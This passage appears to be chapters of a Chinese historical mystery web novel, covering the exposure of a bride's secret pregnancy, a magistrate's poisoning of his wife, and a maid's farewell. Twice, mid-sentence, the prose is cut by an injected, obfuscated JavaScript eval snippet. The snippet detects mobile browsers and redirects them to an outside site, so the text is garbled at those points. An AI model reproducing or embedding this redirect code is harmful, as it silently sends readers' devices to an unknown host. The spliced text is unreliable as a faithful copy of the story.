小六忙叫住他,“笨啊你。明面上他们是苦主,你贸然前去拿人,怎么也说不过去。” “六姐,那应该怎么做?”问是如此,视线却落在上位的东方凌云身上。 东方凌云揉揉眉心,吩咐道:“既是苦主,不妨说公廨体恤亡者,为他们发一笔慰抚款,务必请他们亲自来领。” 不出一炷香,几家苦主陆续来府,其中数李苏苏的已婚夫速度最快。 听了陈词,梁子泰却震惊了,“你们的意思是,我因为和李苏苏远远见过一面,是男是女都没看清,就大概看了个轮廓,而且新婚夜我连盖头都没来得及掀,她就有孕了?” 柳眉妩也震惊了,“难道孩子不是你的?” 梁子泰不语,只是盯着柳眉妩看,目不转睛。 柳眉妩被盯得浑身不自在,不明所以地瞪他一眼,“你看我做什么?” “非也,我在看我的孩子。”梁子泰张口就来,“姑娘被我这么看着,定然也有孕了。孩子是我的。” 东方凌云喝道:“梁甫,放肆!” 柳眉妩也怒道:“登徒子,你胡说什么!” 梁子泰摊开手,故作惊讶道:“原来姑娘也知道这是胡说。” 柳眉妩闻言噎住,哼一声,面色不善极了。磨牙半晌,抬头对上十三的眼。一瞬,两瞬,十三转身离去。 “十三怎么走了?”何清如瞧见他的动作,奇怪道。 “人有三急嘛。”柳眉妩语焉不详,眼神却灼灼明亮。 何清如反应过来,点了点她的额头,“你呀你。” 柳眉妩顺势蹭了蹭何清如的手,“大姐姐宽心,十三有分寸的。顶多套个麻袋,把人抓小黑巷子里揍一顿,定让他全须全尾地回家去。” 何清如摸摸她的头,一笑而过。 * 和梁子泰的震惊不同,顾明远和周希孟虽也惊愕悲痛,却没有否认。柳眉妩因而更加好奇,李苏苏腹中的孩子到底是谁的。 东方凌云传令下去,要请李老爷和侯夫人来府问话,却被柳眉妩拦住了,“二哥哥,先别这么兴师动众,不如先把李苏苏的贴身丫鬟叫来问问看。” 东方凌云同意了。小六和十二去而复返,很快带来了李苏苏的贴身丫鬟桃夭。不过十六七岁的年纪,面色沉静,对答如流,却一口咬定自己什么都不知道。 “也罢。”东方凌云捏了捏眉心,“阿大,你再去一趟李家,请李老爷与侯夫人来府一叙。” 桃夭却忽然道:“回大人,可不巧,舅老爷五十寿诞,我家老爷和夫人三日前便动身去合江了。” “……” 问话顿时陷入僵局。 正一筹莫展,忽听门外小厮通报,小九带着决明从华阳回来了。 进了门,不等东方凌云说话,决明忽然盯着桃夭问道:“姑娘好生眼熟,我们是不是在哪里见过?” 桃夭避开视线,“小大夫认错了。” “你既叫我小大夫,就说明我没认错。” 桃夭嘴角一抽,恨不得当场咬掉舌头。 决明回忆半晌,恍然大悟,“我想起来了,你来回春堂买过陈皮半夏汤。” 桃夭呼吸乱了一息,很快又否认三连,“我不是,我没有,小大夫记错了。” 东方凌云问道:“决明,什么是陈皮半夏汤?” “回大人,妇有孕二月,胎气始盛,逆动胃气,易恶阻呕吐,不进饮食。而陈皮半夏汤,正是我们回春堂名方,有降逆止呕、增加食欲的功效。 “她当时要买陈皮半夏汤,可惜来得晚,店里的陈皮和甘草都卖完了,我和她约定,明日辰时三刻来取,结果就再没见着她了。我记得清楚,那日重九,好几回我还疑心是自己撞见山精野怪了。” “桃夭,你还有何说辞?若再遮遮掩掩,便请你家大公子来此,当面问话。”宝儿忽然喝道。 桃夭面色转白,却还是咬紧了牙关不肯多说。小九收到宝儿眼色,转身作势要走,她却腿窝一软,忽然跪倒在地,“大人且慢,我家小姐确有身孕,还请不要告知大公子。” 东方凌云抬手,小九识趣止步。 桃夭嘴唇颤抖,半晌,似是终于下定决心,闭目扭头,艰难嗫嚅道:“小姐的孩子,是,是……是大公子的!” 27. 真相(二) 有那么一瞬间,柳眉妩觉得自己似乎有些听不懂话了。 何清如最先反应过来,捂着柳眉妩的耳朵将她拉了出去,她还在神游天外。好半晌思绪回笼,不知为何,忽然想到一双眼。 如冰川寂,如火海燎,仔细看,却又空无一物。如梦幻泡影,如露又如电。那是清明时候,在李苏苏的金棺前,李丹阳的眼睛。 一瞬间,混沌重新沸腾,或蒸发,或沉淀,又终于熨贴。 她轻声叹息,只觉得悲哀。 畸形的爱恋固然刺激,正常的情意却实在舒服。只可惜,人性在于猎奇,比之中规中矩,总是更喜欢寻求刺激。 “大姐姐,如果有一天,我和你在一起了,会怎么样?” 何清如哽了一息,哭笑不得,“应该,不会有那一天吧。” “那我和大……”柳眉妩反应过来,急忙改口,“不对,和二哥哥在一起呢?” 何清如认真想了想,又认真回道:“你与二哥只是表亲,男未婚女未嫁,就算在一起了,也是亲上加亲。只是可怜了宝儿。” 柳眉妩吐了吐舌头,干笑两声,“我乱说的,大姐姐,你可千万别告诉宝儿。他知道了,又要哭了。” 何清如摸了摸她的脑袋,好笑道:“宝儿也就是在你面前爱哭罢了。你没见方才在堂上,宝儿色厉神威的模样,别说桃夭当场被吓住,我也险些被唬住了。” “宝儿确实脑子转得快,他不说我都没反应过来,差点儿就被桃夭牵着鼻子走了。”柳眉妩附和两句,由衷赞道,“桃夭说李老爷和侯夫人同去合江祝寿,我们下意识以为李丹阳也会去。但事实上,李丹阳并非侯氏之子,而是先夫人崔氏之后,又素来与侯夫人不对付,自然不会去给侯家的舅老爷祝寿。” 何清如点头同意,故事到此告一段落。 剩下的故事,柳眉妩从宝儿口中得知,且听且叹,不禁扼腕—— 李苏苏出生时,侯夫人还是侯如夫人,人微言轻,连带着李苏苏也饱一顿饥一顿,受尽下人冷眼磋磨。 李丹阳憎恶父亲三心二意,也讨厌侯如夫人寡廉鲜耻,所以迁怒出生不久的李苏苏。情绪上头时,他躲开下人,溜进房里,想要偷偷掐死李苏苏。 但到底没下得去手。 “她真的好蠢。我掐着她的脖子,她咯咯地笑,最后发不出声音了,嘴巴还是咧开着的。她的眼睛好亮,好像盛了两汪水,眼泪却怎么也没掉下来。 后来,侯氏提前回来了,我来不及离开。可等我松了手,她即便涨得满脸通红,两眼汪汪,却还是对着我咯咯直笑,伸着两只手,想要我抱。怎么会有这么蠢的人啊,我要杀她,她却一直对着我笑。 侯氏那般精明的人,自然知道我来做什么,她气愤交加,却没有向父亲告状。后来过了很久,我才知道,那时候,她选择找母亲谈了条件。 我也说不上对她是什么感觉。在她之前,我没有旁的兄弟姐妹,母亲只有我一个孩子,其余妾室的孩子也鲜有活下来的。她却一日日长高,长大,亭亭玉立。 我和她关系算不上亲近,也不能算生疏。父亲不喜欢她,因为她是女子;母亲不喜欢她,因为她是侯氏之女;侯氏倒是喜欢她,只可惜那时自身都难保。好几次,还是由我出面作保,允她读书,许她经商,送她去见更宽更广的世界。 她及笄那日,来找我喝酒,我们聊了很多,酒后的事我也分不真切,醒来才知确已酿成大祸。我是懦夫,是最蠢最坏最没有担当的懦夫!因为从那以后,我开始躲着她,我东奔西跑地忙生意,成月成月不回家。 再回家,才知侯氏为她寻了门亲事。她来找过我,我没见她;她又让桃夭来找我,我还是拒绝了。我早已无颜见她,也不想一错再错,于是给她送了份贺礼便又匆匆离家。 再然后,就是听到她的死讯……如果我早知道她嫁人就会死,我一定不会让她嫁的,我说什么也不会让她嫁的。可是,老天惩罚我,报应却落在她身上……” 桃夭忽然说话,语气平静,近乎冷漠,“大公子,小姐不喜欢梁六公子,她一直在等你。她收了你的礼,不当贺礼,只当聘礼,她一直在等你。” 李丹阳捂面而泣,气音哽咽,听来悲痛欲绝,“苏苏,是我害死了你!我胆小懦弱,辜负真心,罪孽深重,配不上你。我不值得你等,也不值得你爱,更不值得你死,这条命,便来还你吧!” …… 柳眉妩知道,人存死志时,早已生无可恋。所以,即便堂上那么多武功高手,却还是没拦住李丹阳决然撞柱。 问世间,情是何物,直教生死相许。 唏嘘泪尽堂前柱,枉付他人做笑谈。 * 翌日,傍晚时分,小七和薛大夫从临邛回来,见过东方凌云,案情便如抽丝剥茧般逐渐明朗。 “周夫人是新娘枯尸案的第一例,于去年八月遇害,葬的又是化骨地,等我们开棺时,尸骨早已腐毁难辨了。好在另一位曾大嫂尸身还算完整,果不其然,验出来也是双身子。” “如此推测,周夫人应当也是双身子。”竹悠然沉吟着,“也就是说,差不多所有的遇害新娘都是一尸两命。” 小七点点头,想到什么,看一眼薛大夫,又补充道:“但蒋夫人和前几位遇害新娘又不一样。其余新娘只有颈上一处伤痕,状如枯藤,确系命丧鬼见愁刀下,而蒋夫人却是中毒身亡无疑。” 杨无名若有所思,“那蒋夫人到底是自杀还是他杀呢?” 柳眉妩道:“要我说,与其大家在这里猜来猜去,不如直接去叶家一探究竟。小八刚从叶家回来,打探到叶九思已经醒了。” 事不宜迟,除却小九送薛大夫去回春堂,其余人风风火火赶往叶家。可再见到叶九思,却又着实吃了一惊。 外衫半敞着,素白的里衣领口处沾了一圈油污,发髻凌乱,往日正形束己的乌木冠早已不知去向。歪着头,一双眼倒是极亮,坐在太师椅上好奇地望向他们。鞋子趿拉着,一晃一晃,发出窸窸窣窣的声响。 几人面面相觑,不知怎么开口。 还是叶九思眨了眨眼,出声问道:“你们是谁?也是来找爹爹娘亲的吗?我找不到他们了。” 说完,瘪瘪嘴,竟是要哭的模样。 刘管家忙哄道:“老爷陪夫人回娘家去了,过几日就回来。” 叶九思扭头不看他,眼眶却兀自红了,“你骗人,我根本就不认识你。我要找爹爹,我要找娘亲,哇!” 最后直接放声大哭。一把鼻涕一把泪,形象全无,看得人嘴角抽搐。 “大人之前受了刺激,又高热烧了许久,再醒过来就变成这样了。”刘管家凑近几人,指了指自己的脑袋,小声道,“心智和记忆,都退化成了七岁孩童。” 柳眉妩下意识看向十三,十三却只是挠了挠头,“这个我不会,我去请薛大夫来。” 很快,薛大夫又来了,风尘仆仆的模样,甚至来不及换身新衣,神色疲惫,“白大人,我今年四十五了,不是二十五。再这么奔来跑去的,身子可吃不消。” 东方凌云咳了一声,难得有些赧然,“有劳薛大夫了,回头必有重谢。” 薛大夫摆摆手,发完牢骚又任劳任怨地继续诊脉,一脸凝重道:“叶大人脉象无碍,应是心疾。” “心疾?” “通俗来讲,人的心是一间房,里面装的东西有限。有的人一生平平淡淡,至死都装不满;而有的人生活轰轰烈烈,大喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268982|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大悲刺激过度,装的东西多了,心就会承受不住。出于自欺,也出于自保,人会选择将那段不愿面对的记忆封印,这就是心疾。”薛大夫摇头道,“心疾还须心药医,一般的药石,无解。” “若以心药医治,大概几时能好?” “不好说。也许明日就能好,也许永远都不能好。” “……” 叶九思自顾自嚎了半天,有些累了,吸着鼻子蔫头耷脑,被刘管家哄去睡觉了。几人也知,如今问他也问不出所以然,便随他去了,转而找来当晚守夜的丫鬟。 “又见面了。”柳眉妩左右打量着两人,“粉黛绿漪是吗,你们的名字可是叶九思取的?” 粉黛看一眼刘管家,如实道:“我们是夫人买的,名字也是夫人取的。” “那应该和蒋姐姐关系不错了。” “夫人心善,救我二人于水火,大恩大德,永世铭记。” “既如此,现在就是报答蒋姐姐的时候。说说吧,新婚当晚,你们看到了什么,听到了什么,越详细越好。” “是。”粉黛恭敬应声,随即回忆道,“当晚,大人喝醉了,很晚才到新房来。但是不到一刻钟,就摔了杯子离开,去了书房睡。” “为什么?” “大人和夫人说话的声音小,我听不太真切,依稀听见好像是在说广陵的事,具体是什么我就不知道了。夫人很生气,大人也很生气,然后就听到噼里啪啦一阵响儿。” “然后呢?” “再然后,就是大人气冲冲出来了,让我们进去收拾碎瓷片。我和绿漪进去,就看到夫人坐在地上哭,桃花酿也碎了一地。” 绿漪点头道:“是我收拾的碎瓷片,本来还要擦酒渍的,但看到三彩在喝就没管了。粉黛拿了水给夫人擦脸,然后我们就服侍夫人上床休息了。” “三彩?那只猫?” “是的。三彩最爱喝酒,桃花酿洒了一地,红得艳,香得很,它摇着尾巴舔得可欢了,我也就没管它。” “你说的桃花酿,是哪家酒肆的酒?” “不是酒肆的酒,是夫人亲自酿的。”粉黛解释道,“两年前,前院的桃花开得艳丽,夫人就采了许多花瓣酿酒,新婚夜用来合卺交杯。只是不知怎么的,两人生了好大一通气,连坛带杯全摔碎了。” “还有谁接触过桃花酿吗?” “除了夫人,没有其他人接触过桃花酿。”粉黛笃定道,“酿造桃花酿,一直都是夫人亲力亲为。采花、蒸露、加麴、封坛、埋窖……便是挖酒,也是夫人亲自挖的,挖出来后,又是夫人亲自收的。我们都不知道桃花酿收在哪里。” 绿漪也点头道:“没错。” 何清如忽然出声:“除了酒,你家夫人还吃了什么?喝了什么?” 粉黛想了想,“那天夫人很忙,从早忙到晚,脚不沾地,连水都没时间喝一口……哦!我想起来了!夫人晚上还喝了百合羹!是大人亲自端来的!不过应该没喝多少,因为大人很快又让我端出去了,看着确实像没动过一样。三彩饿得慌,我就都喂给三彩了。” 绿漪补充道:“之后大人又让我去厨房,告诉他们准备一桌好菜,应该是想要和夫人畅饮的。结果菜还没上呢,两人就闹了别扭,不欢而散了。” “所以,三彩也喝了百合羹。”柳眉妩重复着,若有所思。抬眼看到薛大夫,想到另一件事,“薛大夫,可能验出猫的死因?” “可以一试。”薛大夫捂嘴打了个哈欠,似乎倦极,语气慢悠悠道,“但那猫极有可能是被砒霜药死的。” “此话怎讲?” “很简单,因为刘管家来回春堂买过砒霜。说是好事将近,家中耗子肆虐,买回去能药一点是一点。” 28. 真相(三) 粉黛和绿漪听了这话,神色疑惑。 柳眉妩扫了她们一眼,又定定看向刘管家,奇怪道:“叶家有猫,三彩又会抓耗子,所以家里从来不用耗子药。这样的道理,粉黛绿漪都知道,刘管家没道理不知道啊。” 刘管家挠了挠头,“确实是如此,可我也没办法,都是大人吩咐的。” “叶九思不喜欢三彩吗?” “说不上不喜欢,但三彩确实不怎么亲近大人。”刘管家如实道,“可三彩是夫人的猫,大人没理由毒杀三彩啊。” 竹悠然道:“为什么没理由?三彩不喜欢他,这不就是理由吗?” 刘管家摇头,斩钉截铁地答:“大人又不是真的七岁孩童,怎么会同一只猫置气?何况三彩还是夫人的猫,不看僧面看佛面,大人是断不可能毒杀三彩的。” 柳眉妩点点头,似乎很是赞同,“竹姐姐,刘管家说的也有道理。思来想去,叶九思好像确实没有毒杀三彩的理由,说不定就是为了毒杀蒋姐姐呢。” “是呀,还是叶小姐……什,什么?”刘管家本想附和两声,猛然意识到柳眉妩在说什么,惊得说不出话,好半晌回过神,一面擦了擦额角的冷汗,一面干笑道,“叶小姐可真会说笑。” “我看,根本就不是三彩不喜欢叶九思,而是叶九思不喜欢三彩。毕竟,有了自己忠心耿耿的狗,又怎么会喜欢别人的猫主子。”柳眉妩似笑非笑,“你说是吧,刘管家。” 刘管家脸色沉沉,没有说话。 “如果不是的话,你又在为叶九思遮掩什么呢?”柳眉妩从怀里掏出一物,放在刘管家眼前晃了晃,“刘管家,你可认得此信?” 刘管家霎时瞪大了眼,平静的神色终于出现裂痕,“怎么会!” “你有你的张良计,我有我的过墙梯。你知道留下眼线监视我们,难道我就不知道派出人手打探你们吗?”柳眉妩冷喝一声,“刘长忠,还不醒悟!” 风来簌簌,柳眉妩负手而立,昂首挺胸,确有几分让人摧眉折腰的气势。 刘长忠浑身一抖,似是幡然醒悟,又似破罐子破摔,呵笑出声:“没错,我是叶九思的一条狗,一条忠心耿耿的狗,因为我是他的家生奴才,自然和他休戚与共。可是,又有谁会心甘情愿,一辈子只是狗奴才呢? “蒋芸娘明明应该喜欢我的。她不是口口声声说救命之恩以身相许吗?那些山匪是被我砍死的,要伤她的暗器也是被我挡下的,可是,那个肤浅的女人,见到叶九思,竟然颠倒黑白,只说是叶九思救了她。 “她肤浅,她愚蠢,所以她该死。多可笑啊,她竟然以为叶九思对她一见钟情,真是天真!叶九思对她,甚至连见色起意都算不上,不过是见钱眼开罢了。说到底,我们都是一类人。虽然明面上,他是主子,我是下人,可骨子里都一样,穷怕了。看到钱,比看到什么都开心。 “她穿金戴银,花枝招展,简直就是行走的金钵钵,叶九思又怎么会拒绝一尊金佛呢?况且,蒋家无男丁,只她一个女儿,娶了她,便是娶了整个蒋家。这样的买卖,稳赚不赔,叶九思欢喜都来不及,又怎么可能拒绝? “而那个蠢女人,却什么都不知道,一直到死都不知道。她不知道她的父母到底是怎么死的,也不知道她自己为什么会死。哈哈哈,没错,砒霜是我买的,是叶九思让我买的,也不是用来药什么耗子死猫的,就是专门用来毒她的。 “因为,她已经没有用了。她以前有家,可现在父母双亡,蒋家早已变成了叶家;她以前也有钱,可现在连钱带人,全都变成了叶九思的。所以,她已经没有用了。甚至,现在的她,早就成了叶九思的拦路石。 “不错,你手里的这封信就是写给叶九思的,是广陵郡守的千金写给叶九思的。我不得不承认,叶九思虽然命不好,运气却好他娘得不得了!一个两个,蒋芸娘,阮初音,全都上赶着给他送钱送势。 “有时候我也想通了,他有皮囊,有才华,有谋略,有心计,有手段,这些我都自愧不如。可是,他手上沾的血却一点儿没比我的少。我的身上负了几条人命,那他的背后就站了几个亡魂! “你们不是喜欢查吗?那便去查吧!查查蒋老爷和孙夫人的死,也查查蒋芸娘的死,相信会有你们想要的答案。” 刘长忠说完,仰天哈哈大笑,状似癫狂。 “你错了。”宝儿语气平静,纠正他道,“我们之所以查案,不是想要什么答案,也没有什么想要的答案。归根结底,不过是还案件一个真相,还世人一个公道,让亡者瞑目,让生者慰怀。如此而已。” “真相?公道?说得好听!可现在叶九思失忆,心智不过七岁孩童,你们又当如何评判?” “他今天失忆又不代表明天也失忆,他现在失忆也不代表一直会失忆。”柳眉妩无所谓地笑了笑,不以为然道,“况且,薛大夫不是说了,也许明天,他就能记起来了呢。” 薛大夫点头道:“不排除这种可能。” “既如此……来人,将叶九思收押入狱,等明日恢复记忆,便赐鸩酒白绫,自行了断。”宝儿明了她的意思,接话说完,又转头看向刘长忠,“而你,助纣为虐,为虎作伥,到时候就和他一起下去忏悔吧。” “凭什么!我什么都招了,明明一切都是叶九思指使的,我是身不由己的,我是清白的!” 孰真孰假,孰是孰非,蒋芸娘遇害,叶九思失忆,早已无人与他对峙。他却坚持喊冤,好似上嘴皮碰了下嘴皮,便能随意解说一般。 “刽子手也好意思喊冤叫屈?”柳眉妩忍无可忍,朝他啐道,“你要是清白的,那曲江池底的淤泥也都是清白的了。还有什么话,等到了酆都城,留着去和阎王爷讲吧。” 刘长忠被反押着带下,叫喊声不绝于耳。柳眉妩掏了掏耳朵,随口问道:“对了,粉黛绿漪,蒋姐姐的桃花酿埋在哪里?” 粉黛伸手一指,喏一声,“就埋在院里的桃树下。” 前院不大,花木却不少。一丛紫竹旁,栽着几树桃,山茶衬着海棠,石榴挨着枇杷,花畦里种着芙蓉,井栏边的野薄荷也长得茂盛。 柳眉妩顺着她手指的方向望去,眯了眯眼,“你说,这是桃树?” “难道不是吗?” “这树哪里来的?”柳眉妩不答反问。 “是夫人从万佛寺移植来的,说是天竺的品种,所以与中原的树不相同些。” “人间四月芳菲尽。”宝儿反应过来,“明明是同一处小院,其余花树大多零落,开始结果,这树倒是花开繁盛,不像即将凋零,更像初初盛放。” “就是初初盛放。”柳眉妩点了点头,同意道,“此花花期,不是春日,本就是在夏秋两季。” 竹悠然惊讶了,“灵儿,哪有桃花花期是夏秋时节的?” “叶小姐怎么知道?”粉黛和绿漪也惊讶了,“天竺之木,异域奇花,此树确实是在夏秋时节开花。” 众人你看看我,我看看你,越听越迷幻。 “因为,这不是桃花,是俱那卫,我在叶老爹的碎叶笔记上见过。”柳眉妩神色凝重,娓娓道来,“有花产自天竺,名俱那卫,多植于佛寺朱栏。叶瘦长如竹,花小巧如桃,夏时开淡红花,至秋犹有之。” 顿了顿,又道,似叹非叹。 “毒剧甚,一滴可毙象。” * 李丹阳停灵在家,往生道场七日方休;叶九思和刘长忠因在狱中引咎自戕,只得由官家收尸。至此,两件事总算告一段落,转眼便到了五月。 依长安旧俗,五月人称善月,实则百事多禁忌,讳恶为善罢了。柳眉妩早早儿让十三备好天师符和钟馗图,时日一到便张罗着贴在别业里。角角落落,无一遗漏。 时近端五,叶茂再次回了别业,案件又少有进展,柳眉妩往御史府便跑得少了。这一日,陪叶茂用过午膳,她回房和小茶继续做艾叶香囊,十三忽然进来道:“小姐,桃夭在万佛寺等你。” “没记错的话,李丹阳的往生道场就设在万佛寺,昨日才结束。”柳眉妩停下活计,托腮回忆道,“去看看也好。尘归尘,土归土,长风万里,不如归去。” 轻车熟路地打马到了南山脚下,又轻车熟路地坐上南山簥子,柳眉妩撑着伞,一路迤逦着到万佛寺外。进了寺,蜿蜒行过几道,终于在后山见到桃夭。 “叶小姐。”桃夭见到她,屈膝就要跪下,被柳眉妩抬手止住了,眉眼弯弯,一如初见。 那日,桃夭也是一身素衣,见面便跪,口齿却伶俐,“叶小姐,我一无所有,只剩自由。但小姐若能出手相助,桃夭愿侍奉小姐终身,为奴为婢,尽心尽力,毫无怨言。” 柳眉妩接过她递来的纸,展开一看,又合上了,有些惊讶,“自由说来简单,得来却何其不易。桃夭,你既赎了身,何苦又要再入奴籍?” “我的性命是小姐给的,自由也是小姐给的。为了小姐,别说只是舍弃自由,便是舍弃性命,我也绝不顾惜。” 柳眉妩叹息着,“身体发肤,受之父母。就算生恩抵不过养恩,总还是要心存感激的。” 桃夭却道:“生我弃我者,父母;养我惜我者,小姐。弃我者,视我如草芥,我亦弃之;惜我者,视我如珍宝,我便惜之。 “……我记得清楚,六岁那年,蜀中大旱,爹娘想把我卖掉。我没有哭闹,只是低声下气地求他们,不要卖我,我可以不和弟弟抢饼子吃,也可以把我的馍馍分给弟弟吃,但是他们没有答应,菩萨也没有显灵。 “我被婆子带进李家的那天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268983|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才知道原来我这么便宜,三两三钱,就能买我的命,轻如微尘,贱比蝼蚁。所以我更加确定,像我这样渺小卑微的人,菩萨肯定不会看到我的,更不会渡我出苦海。 “我有自知之明,从不奢求,从不渴望,可有时候,也会暗自欣喜命运的善意。这个世界糟糕透顶,我不贪生,也不怕死,因为知道都一样,没有区别。 “可就在这时候,菩萨低眉,看到了我,于是我看到了光——夫人把我送给了小姐,而小姐把我的卖身契还给了我。她笑着说,物归原主,以后你就是自由身了。她笑着说,桃之夭夭,灼灼其华,往后便叫你桃夭吧。她笑着说,桃夭啊,如果你也无处可去,就留在我身边吧。 “那一日,我自由了,比小姐还自由,但我愿意留在小姐身边。小姐心善,即便自己在李家如履薄冰,可待我情同姐妹,我看得出来,她从未视我为奴为婢。 “如今她遭此劫难,而凶手却逍遥法外。胡郡守不作为,我本无计可施,可如今白御史来了,哪怕只有一线机会,再渺茫,我也要试一试。求叶小姐垂怜,为我引荐,其余的事,我自有分寸。” …… 叹息着回神,柳眉妩注意到桃夭肩上的包袱,“桃夭,你要走了吗?” “生于斯长于斯,我本不该背井离乡,可成都是我的伤心地,实在没什么好留恋。我迟迟没走,不过是想着再给小姐过个生辰罢了。昨日是小姐的十六岁生辰,过完了,我也就没有什么好记挂的了。” “原来如此。我还以为……” “以为我是为了李丹阳么?呵,我恨不能剥他的皮,抽他的筋,吃他的肉,喝他的血!”桃夭双目赤红,咬牙切齿道,“梁子泰贪财好色,浪荡风流,不是良配。可他李丹阳自私、恶毒、卑鄙又懦弱,又有哪点配得上小姐! “小姐冰雪聪明,善良仁厚,千不该万不该,就是不该生在这样的家庭。但凡小姐门第高些、见识广些、选择多些,他李丹阳便是烧八辈子高香,也攀附不上小姐! “杀害小姐的凶手确实是王不留行,我知道。可是,他李丹阳又何尝不是杀人不见血的刽子手!他早就该死了!心术不正,醉奸/幼妹,却敢做不敢当,懦夫!别说死一次,便是死千次万次都不足惜!他活该!他死有余辜! “不错,他就是欠小姐的!如果不是他,小姐就会有美满的生活、灿烂的前程、无限的可能。呸!谁要他的命,什么狗屁劳什子东西,一天天净给些不值钱的晦气腌臜玩意儿,谁稀罕!我只要小姐,我可怜的小姐啊!” 说到最后,哽咽不止,掩面呜呜而泣。 “有福之女不入无福之门。桃夭,想开些,就当你家小姐是菩萨下凡渡劫,今生已修成正果,提前解脱了吧。下一世,肯定会有美满的生活、灿烂的前程和无限的可能。” 桃夭抽噎道:“借叶小姐吉言。” “既是伤心地,离开了也好。天地这么大,你这么年轻,确实应该多走走多看看,拥抱更自由更广阔的人生。”柳眉妩说着,从怀里掏出钱袋,轻轻放在桃夭手中,“帮人帮到底,送佛送到西,那我就再送你一程吧。” “叶小姐,万万不可!你已帮了我太多太多,桃夭做牛做马都回报不了,不能再……”桃夭诚惶诚恐,如握火栗。 “不必直接拒绝。”柳眉妩笑道,“桃夭,拒绝之前,先问问自己,你到底需不需要这袋银子。如果需要,就不要客气,大方收下便是。 “我今日帮你,出于私心,却不图回报。只希望你来日光明顺遂后,可以不忘初心,不吝善意,力所能及地帮助下一个、如你今日这般、同样需要帮助的人。” 桃夭泪流满面,接过钱袋,径直跪了下去,朝柳眉妩深深叩了三个响头,“大恩大德,桃夭没齿难忘,必谨遵教诲。” “去吧桃夭,你的故事才刚刚开始,由你自己书写。你看江山辽落,有万里之势,但永远在我们脚下。”柳眉妩笑着将她扶起,“还有,不必谢我。因为,不是我救了你,是你自己救了自己,一次又一次。” 桃夭恍然大悟。 她记起来了,她全都记起来了。她不怕死,却贪生。所以,任何时候,她都没有放弃求生。一路走来,磕磕绊绊,也曾碰过壁,但总是有希望——爹娘将她卖掉,她却遇见小姐;小姐不幸遇害,她又得到叶小姐的帮助。 所以,别放弃,别气馁。 因为,前路永远有光明。 “我们都要接受,这世上就是有人不爱你,哪怕是生你养你的父母。可同样的,这世界再糟糕透顶,也还是会有人爱你,跋山涉水,披风携雨,只为赶来见你一面。但在此之前,你要先爱自己,胜过爱一切事物。” 唯有自爱,才能爱人。 爱人者,人恒爱之。 29. 生辰 再回灵犀院,远远便见十三候在门口迎接,柳眉妩想起一事,笑着道:“十三,我让小茶看过了,端四那日就是吉日,万事皆宜,又与端五错开,各自有闲。等我为你备好拜师贴和拜师礼,你便去吧。” 长安以为,端五之说与重九同,自五月起,初一到初五分别称作端一、端二、端三、端四和端五。端五又叫端阳,故而家家瓶供蜀葵蒲蓬,谓之“端阳景”;人人头簪艾草榴花,则是“端五景”。 十三跪谢不已,果真在端四日去了回春堂。小茶在明间剪完蜀葵,又剪蒲蓬,修枝理叶后插进净瓶,口里碎碎嘟囔:“也就是小姐心善。” “怎么了?”柳眉妩挑着艾草榴花编环,随口接话。 “虽说十三有旧疾,确实可怜。可他一日是小姐的人,拿了小姐的月例,就该一辈子是小姐的人。可他倒好,时不时去回春堂帮工尤嫌不够,现在竟还直接拜师学医去了。” “人有所学,学有所成,有何不好?”柳眉妩笑了笑,“你们一日是我的人,我便一日护着你们,尽可能帮扶你们。毕竟,你们是我的心腹,亦是我的手足,只有你们更精更强了,我才会更精更强。于情于理,我都没理由拒绝。小茶,你也可以想想,自己喜欢什么,是听八卦还是写话本?等回了长安就为你寻师父。” 学成文武艺,货与帝王家,十三骑皆如是。小八跟着大姐姐经商,小四跟着二姐姐学诗,小五跟着三姐姐刺绣。而十三行末,年纪也最小,每日除了陪她就是练武,委实无趣得紧。如今终于寻到新爱好,她高兴还来不及。 然而,柳眉妩却并不显得有多高兴,只是叹息,“更何况,十三学医,并非为自己而学。” …… “十三,你且说说,为何想要学医?”接过橙黄油亮的拜师茶,薛大夫问道。 “小姐有疾,我想治她。”十三不假思索。 薛大夫愣了愣,摇头失笑:“这可不是个好答案。” “但却是最真的答案,也是我想要学医的初衷和动力。”十三不卑不亢地答,“我也知这样的答案或许狭隘了些,但医者仁心,治病救人,本来也没有规定是要救世人还是救一人。” 薛大夫低头细闻,似当归,似陈皮,药香萦着茶香。入口微涩,迅而回甘,辨出是武夷茶里的铁罗汉,话头又转道:“那倒也是。老吾老以及人之老,幼吾幼以及人之幼,圣人尚且如此,何况你我。” “不论结果如何,我都很感谢薛大夫,没有您,我就无法窥得医理,启蒙医智。生命有涯,求索无涯,只要我在一日,便会学一日。医山药海虽无穷尽,可即便只是片石边角,一日复一日,就总会有攀越得渡的时候。” “还叫薛大夫呢。”决明推他一把,“十三师弟,还不改口叫师父。” 十三/反应过来,连忙跪下,恭敬磕头,“师父在上,请受十三一拜。” * 华灯初上,明月一线。百花潭看完龙舟竞渡,柳眉妩让小茶打掩护,对外只说早早歇了,实则带着十三偷偷溜回御史府过节。 小六等人见到她,笑着请安道:“说四公主,四公主就到了。四公主,要和我们一起射粉团吗?” 射粉团,顾名思义,即用小角弓架无锋箭,射金盘里的粉团,中者得食。粉团小巧精致,浸了油,又光润滑腻,既考验眼力,又考验射术。 柳眉妩当即挽袖,朝手心呵一口气,有些跃跃欲试,“和我玩射粉团,你们今儿不想吃角黍就直说。” 十二笑道:“你们瞧,四公主说这种话,不想让我们吃角黍就直说。” 